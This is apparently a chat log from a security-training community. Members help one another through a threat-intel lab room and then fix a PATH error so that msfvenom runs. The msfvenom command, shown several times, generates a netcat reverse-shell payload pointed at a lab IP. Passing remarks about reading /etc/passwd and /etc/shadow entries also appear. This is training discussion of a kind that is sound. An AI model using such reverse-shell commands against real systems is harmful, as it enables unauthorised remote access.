Speaking of the red team threat intel room; I've got everything answered except for task 7 (view site) info for the APT 41. What's the format and requirement? I've tried both kill chain TXXX and events from Navigator. Nothing.

gusty kite Jan 11, 2022, 7:52 PM

#

north hearth I'm in the new Red Team Threat Intel room but don't see how the LM Cyber Kill Ch...

like I said - trial and error. for each of them try some of the TTPs marked with blue that matches that particular part of the chain. press the "check answers" and if the red underline disappears then you found the right one and can move on to the next. There are multiple options to choose from for each par of the chain so it takes some time.

icy sleet Jan 11, 2022, 7:53 PM

#

gusty kite like I said - trial and error. for each of them try some of the TTPs marked with...

Thanks! I'll give this a try.

green minnowBOT Jan 11, 2022, 7:53 PM

#

Gave +1 Rep to @gusty kite

versed leaf Jan 11, 2022, 7:56 PM

#

gusty kite still havent been able to find the ttp for the "exploitation" in the static site...

||It's under Persistence in the navigator||

gusty kite Jan 11, 2022, 8:01 PM

#

finally done!

north hearth Jan 11, 2022, 8:01 PM

#

Right. I guess what I'm struggling with is associating the 14 MITRE tactics to the 7 parts of the kill chain. (ie Weaponization(LMCKC) = Execution, Persistence & Priv Esc (MITRE). Some of the tactics/techniques could easily fall into multiple kill chain categories. And it looks like the kill chain answers are single words, which the TTPs are not always. Trial and error is fine, but for something that is more data model driven, I'd hope for something with less subjective interpretation.

gusty kite Jan 11, 2022, 8:03 PM

#

not single word answers

north hearth Jan 11, 2022, 8:03 PM

#

Bah!

versed leaf Jan 11, 2022, 8:06 PM

#

gusty kite finally done!

Where'd you find Delivery? Only one I'm stuck on

#

Nevermind

#

I must've spelled it wrong the first time

gusty kite Jan 11, 2022, 8:08 PM

#

🙂

wheat helm Jan 11, 2022, 8:39 PM

#

Just finished. Looking for the red line to disappear helped a ton. Thanks @gusty kite

green minnowBOT Jan 11, 2022, 8:39 PM

#

Gave +1 Rep to @gusty kite

gusty kite Jan 11, 2022, 8:43 PM

#

wheat helm Just finished. Looking for the red line to disappear helped a ton. Thanks <@!157...

I thought it was my spell checker at first

north hearth Jan 11, 2022, 9:14 PM

#

Just finished, and they updated that question for the kill chain with actual answers for it. Not fair!

wheat helm Jan 11, 2022, 9:16 PM

#

That hint would've helped lol

grave warren Jan 11, 2022, 9:17 PM

#

Hi there, ran this "msfvenom -p cmd/unix/reverse_netcat lhost=10.10.207.123 lport=4444 R", giving me this as a response: "Command 'msfvenom' is available in '/usr/local/bin/msfvenom'
The command could not be located because '/usr/local/bin' is not included in the PATH environment variable.
msfvenom: command not found" Do I need to download the command files?

left thunder Jan 11, 2022, 9:19 PM

#

grave warren Hi there, ran this "msfvenom -p cmd/unix/reverse_netcat lhost=10.10.207.123 lpor...

Are you on the attackbox or your own machine?

grave warren Jan 11, 2022, 9:19 PM

#

attackbox

left thunder Jan 11, 2022, 9:20 PM

#

grave warren attackbox

Could you show a screenshot of that? As usually msfvenom should work just fine, except you altered the PATH variable

grave warren Jan 11, 2022, 9:20 PM

#

I am probably just missing something

left thunder Jan 11, 2022, 9:22 PM

#

grave warren I am probably just missing something

Hm, well do export PATH=/usr/local/bin:$PATH

grave warren Jan 11, 2022, 9:22 PM

#

i have tried several paths and searched the system for reverse_netcat with 0 results

#

tack "export PATH=/usr/local/bin:$PATH" to the end?

left thunder Jan 11, 2022, 9:23 PM

#

grave warren tack "export PATH=/usr/local/bin:$PATH" to the end?

No just run that command on it's own. And after that try your msfvenom command again

versed leaf Jan 11, 2022, 9:24 PM

#

Or run msfvenom with the absolute path. That should work too.

grave warren Jan 11, 2022, 9:24 PM

#

@left thunder nailed it thank you!

green minnowBOT Jan 11, 2022, 9:24 PM

#

Gave +1 Rep to @left thunder

grave warren Jan 11, 2022, 9:25 PM

#

could you explain what was going on so i can help myself next time

left thunder Jan 11, 2022, 9:27 PM

#

grave warren could you explain what was going on so i can help myself next time

Whenever you run a command, like msfvenom, ls, cat or whatever, it's going to check all the directorys that are in the PATH variable to see if the binary for that command is there. So as msfvenom's binary is located in /usr/local/bin that path has to be in the PATH variable in order to be found. As Gamer mentioned, you could have also just run it with the absolute path, like /usr/local/bin/msfvenom

versed leaf Jan 11, 2022, 9:28 PM

#

Without the leading period, right? Cause that'll search in your current directory.

grave warren Jan 11, 2022, 9:29 PM

#

so, I did that with the absolute path, maybe I spelled wrong but it didnt find anything there, going there now in the file system it isnt there either, Me = very confused

left thunder Jan 11, 2022, 9:29 PM

#

versed leaf Without the leading period, right? Cause that'll search in your current director...

Ah ye you right

versed leaf Jan 11, 2022, 9:30 PM

#

cheerlead

left thunder Jan 11, 2022, 9:31 PM

#

grave warren so, I did that with the absolute path, maybe I spelled wrong but it didnt find a...

I mean, you said it was working after you added /usr/local/bin to the PATH variable, so that means it should be there.

grave warren Jan 11, 2022, 9:32 PM

#

ok I understand now, I found the command in there, so it would look like this? "/usr/local/bin/msfvenom -p cmd/unix/reverse_netcat lhost=10.10.207.123 lport=4444 R"

versed leaf Jan 11, 2022, 9:32 PM

#

Looks right

left thunder Jan 11, 2022, 9:32 PM

#

grave warren ok I understand now, I found the command in there, so it would look like this? "...

Yes that should work too.

grave warren Jan 11, 2022, 9:33 PM

#

awesome @versed leaf @left thunder big help, thanks for walking me through it

green minnowBOT Jan 11, 2022, 9:33 PM

#

Gave +1 Rep to @versed leaf

versed leaf Jan 11, 2022, 9:34 PM

#

I got you @left thunder, thanks

#

Damnit

left thunder Jan 11, 2022, 9:34 PM

#

versed leaf I got you <@!401153154634219543>, thanks

Seems like you are on cool down, but it's fine 🙂

versed leaf Jan 11, 2022, 9:35 PM

#

One user per row

#

Oh actual users

#

I see

#

name:x....

#

If there's an x after the name, it means it has a password in /etc/shadow, which means it's a user.